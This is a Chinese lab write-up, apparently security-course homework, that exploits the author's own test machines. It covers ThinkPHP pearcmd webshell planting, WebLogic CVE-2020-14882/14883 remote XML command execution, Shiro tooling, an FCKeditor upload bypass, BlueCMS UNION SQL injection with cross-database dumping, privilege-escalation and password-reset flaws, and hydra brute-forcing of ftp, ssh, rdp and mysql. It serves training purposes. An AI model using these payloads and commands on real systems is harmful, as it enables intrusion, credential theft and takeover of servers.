C7078-2024.4.4

Fantasy 发布于 2024-10-02 62 次阅读


题目

  • 1、RCE:分别实现ThinkPHP、Weblogic、Shiro漏洞的利用过程
  • 2、FCKeditor编辑器漏洞实验;
  • 3、bluecms旁注漏洞,并解释为什么旁站攻击可以拿下主站?跨库的意思是什么?
  • 4、水平越权&垂直越权漏洞实验;
  • 5、密码修改逻辑漏洞实验;
  • 6、暴力猜解:hydra实现对ftp、ssh、rdp、mysql的暴力破解。

RCE

Thinkphp RCE

测试漏洞是否存在pearcmd,访问路径
url:port/public/?lang=../../../../../../../../usr/local/lib/php/pearcmd
image.png
出现报错说明漏洞存在
EXP config-creat添加

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/var/www/html/phpinfo.php
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['a']);?>+/var/www/html/request.php

burpsuite中将url编码的字符还原,防止编码影响exp
image.png
上传后有成功提示
image.png
直接访问php页面
image.png
使用蚁剑链接一句话
image.png
image.png

Weblogic RCE

1、CVE-2020-14882

访问url:7001/console到登录页面,利用漏洞,访问以下url即可在未授权情况下访问管理后台页面

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
或
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal

注:%252e%252e%252f 是经过两次URL编码后的../,通过这个就可以实现穿越路径未授权访问后台页面

image.png
该页面已正常登录的后台相比,权限不足,缺少部署功能,无法安装应用,也无法通过部署项目获取权限。要想实现RCE需要借助CVE-2020-14883
image.png

2、CVE-2020-14883

利用方式一:
通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationCon
text类实现,最早出现在CVE-2019-2725(WebLogic反序列化漏洞),对WebLogic所有版本均有效,需要借助XML文件,通过访问XML文件来执行命令。
构造一个XML文件,并保存在远程服务器上

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg>
<list> <value>bash</value> <value>-c</value>
<value><![CDATA[touch /tmp/magedu1]]></value>
</list> </constructor-arg>
</bean> </beans>

构造payload

http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.110.128:8082/upload/rce.xml")

image.png
在容器后台可以看到xml命令已被执行
image.png
前提:weblogic服务器能够访问到恶意xml

利用方式二:
通过com.tangosol.coherence.mvel2.sh.ShellSession类实现,只能在weblogic12.2.1以上版本利用,低于此版本没有该类

http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/magedu2');")

image.png

Shiro RCE

响应包中出现rememberME字段说明该网站使用过了Shiro框架,但不能说明存在漏洞image.png抓包观察是否有Remember字段

1.未登录的情况下,请求包的Cookie中没有RememberMe字段,返回包set-Cookie里也没有deleteMe字段
2.登录失败的话,不管有没有勾选“Remember me",返回包都会有RememberMe=deleteMe字段
3.不勾选“Remember me",登录成功的话,返回包set-Cookie里有RememberMe=deleteMe字段,但是之后的所有请求中Cookie都不会有RememberMe字段
4.勾选“Remember me",登录成功的话,返回包set-Cookie里有RememberMe=deleteMe字段,还会有RememberMe的加密字段,之后的所有请求中Cookie都会有RememberMe字段
5.或者可以在cookie后面手动添加一个RememberMe=1,看返回包有没有RememberMe=deleteMe

Shiro反序列化漏洞检测会面临的问题
1. 漏洞无法回显
2. 系统环境复杂
3. AES的key可能被修改
前两个问题可以通过DNSLog检测,第三个可以通过信息搜集、文件读取、暴力破解等方法获取key。
针对Shiro反序列化漏洞,主流方法是使用专业的漏洞利用工具进行检测。

工具一:ShiroExploit v2.51
下载链接:ShiroExploit-Deprecated: Shiro550/Shiro721
image.png
>
1.复杂Http请求:如果想自定义http请求,就勾选它,下方会出现输入框
2.使用keys.conf.big:使用工具进行检测的过程中,默认使用keys.conf字典,该字典都是一些常用密钥,如果想要使用更大的字典,则选择keys.conf.big字典
3.指定Key/Gadget/EchoType:指定Key、利用链、回显方式等。
image.png
输入url时,要将完整url输入
一般情况下,输入url之后,下一步即可
提供四种检测方式,实际场景中,一般用回显的方式
image.png
目标站点存在漏洞,Shiro的默认密钥、利用练等被显示出来image.png
可以执行命令实现rce
image.png
注意:在使用回显进行检测时,会在目标网站上自动生成一个文件,其中记录了执行命令的结果,不建议在生产环境中使用此方法。

工具二:Shiro_attack_2.2
image.png

image.png

Fckeditor

环境搭建 phpstudy(php5.4.45)
(由于phpstudy已将fckeditor映射为8090端口,路径访问由URL/fckeditor/...变为URL:8090/...)
查看fck版本为2.4.3
http://192.168.110.128:8090/_whatsnew.html
image.png
http://192.168.110.128:8090/editor/dialog/fck_about.html
image.png
利用页面进行文件上传http://192.168.110.128:8090/editor/fckeditor.html
image.png
上传页面为asp,但环境是php,需要修改为php
192.168.110.128:8090/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php
image.png
出现报错,访问

C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.ph p,修改配置如下并保存:
上传路径:C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images

image.png

保存之后在访问上传页面,可以正常访问
image.png
直接上传php文件会报错,不让上传,通过bp对后缀修改进行绕过
image.png
发现php文件上传成功image.png http://192.168.110.128:8090\editor\filemanager\browser\default\images\file/post.php
访问该url,hackbar可以正常连接一句话木马image.png蚁剑连接,获取权限
image.png

直接使用工具
image.png

旁注&跨库

bluecms v1.6
phpstudy php5.4.45
访问bluecms/uploads/install进行安装,(由于phpstudy已将bluecms映射为8091端口,路径访问由URL/bluecms/...变为URL:8091/...)
image.png
数据库 root/123qwe 管理员 admin/123qwe
image.png
返回空白页面说明安装成功
访问http://192.168.110.128:8091/uploads/admin跳转到登录界面
image.png
添加广告之后,发现可以存在获取js功能
image.png
查看js代码,怀疑存在sql注入漏洞
image.png
对该点进行注入测试,发现输入的单引号被转义,存在sql注入漏洞
image.png
使用order by进行测试,order by 7无报错,order by 8页面报错,说明存在7列
image.png
检查源代码,测试显示位,只有一个显示位
image.png
输入一个不存在的序号,查看对应显示列
image.png
发现对应显示输出7对应的列,修改7为查询语句
查看当前所在数据库,当前数据库为bluecms

view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,database()

image.png
查询表名

view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

image.png
查询列名

view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'blue_user' 0x626c75655f75736572

出现报错,考虑宽字节绕过image.png通过BurpSuite修改数据包
image.png
无法通过宽字节注入
image.png
使用十六进制绕过,将blue_user字段转化为十六进制

view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572

image.png
获取具体数据,发现有user_name,pwd字段

view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,concat(user_name,pwd) from blue_user 

获得用户名密码,通过在线md5解密,即可得到明文密码md5在线解密破解,md5解密加密 (cmd5.com)
image.png
查看服务器上所有数据库

view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(schema_name) from information_schema.schemata 

image.png
发现有其他网站数据库存在,可以对其进行跨库操作,获取其他网站的数据库信息。
例如查看dvwa数据库存在的表,0x64767761为16禁止编码后的dvwa,类似上述操作可以获取数据库中的其他信息。

view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=0x64767761

image.png

简答题

由于多个网站部署在同一个服务器上,通过旁站对服务器攻击,拿下服务器后,即可对主站进行操作。
跨库:由于网站部署在同一个服务器上,只有一个数据库管理系统,多个网站互为旁站,利用information_schema数据库进行跨数据库操作。

越权漏洞

水平越权

image.png
登录账号
image.png
抓包,服务器可能根据username、cookie返回值image.png直接修改url,实现水平越权
http://192.168.110.129:8000/vul/overpermission/op1/op1_mem.php?username=lili&submit=点击查看个人信息
返回的是lili的信息,但抓包的看cookie没有变化,还是lucy的权限
image.png
image.png

垂直越权

pikachu靶场垂直越权有两个账号
admin/123456:超级管理员,具备添加/删除用户权限
pikachu/000000:只有查看权限

高权限模块直接到低权限执行操作
在admin用户访问添加/删除用户页面获取url,到pikachu用户浏览器执行
image.png
点击创建后,回到登录页面,登录pikachu用户之后,看到用户已被添加
image.png

抓取高权限的数据包,用低权限的cookie修改
抓取admin用户的数据包
image.png
获取pikachu用户的cookie
image.png
替换数据包中的cookie为pikachu用户的cookie
image.png
test2账号成功创建
image.png

逻辑漏洞

image.png
进入靶场image.png在容器中查看账号密码(也可以尝试爆破)

docker exec -it webug bash
mysql -u root -p 
password:toor
show databases;
use webug;
select * from user_test;

image.png
image.png
先登录aaaaa账户
image.png
删除pt_env,发现有修改页面,进行抓包
image.png
查看数据包中相关信息
image.png
将id修改为1进行尝试,页面返回修改成功提示
image.png
在后台查看admin用户密码已被修改image.png

暴力猜解

爆破ftp

hydra 192.168.110.128 ftp -l test -P pwd.txt -vV -f -e ns

使用字典时,要确保当前目录下存在该字典
image.png
image.png
获取密码之后,ftp登录服务器
image.png

可以查看ftp服务器的文件
image.png

爆破ssh

windows中安装openssh,并配置环境变量
image.png
配置完成后,命令行输入ssh,出现下图即代表安装成功
image.png
win7默认安装openssh,账号密码默认是当前系统用户的微软账号和密码。

hydra 192.168.110.133 ssh -l Fantasy -P pwd.txt -o ssh.log

image.png
查看爆破输出的文件
image.png
ssh登录测试
image.png

爆破rdp

Win7系统开启远程桌面
image.png

hydra 192.168.110.133 rdp -l Fantasy -P pwd.txt

image.png
远程测试:
image.png

如果出现以下问题image.pngWin+R 打开运行窗口,输入gpedit.msc,修改本机组策略
image.png

爆破mysql服务

爆破phpstudy中的mysql
小皮面板安装SQL_Front
image.png
由于数据库默认不允许远程连接,需要进行配置

grant all privileges on *.* to root@'%' identified by 'root';

image.png

运行之后,使用hydra进行爆破

hydra 192.168.110.128 mysql -l root -P pwd.txt

image.png
进行连接测试
image.png

此作者没有提供个人介绍
最后更新于 2024-10-02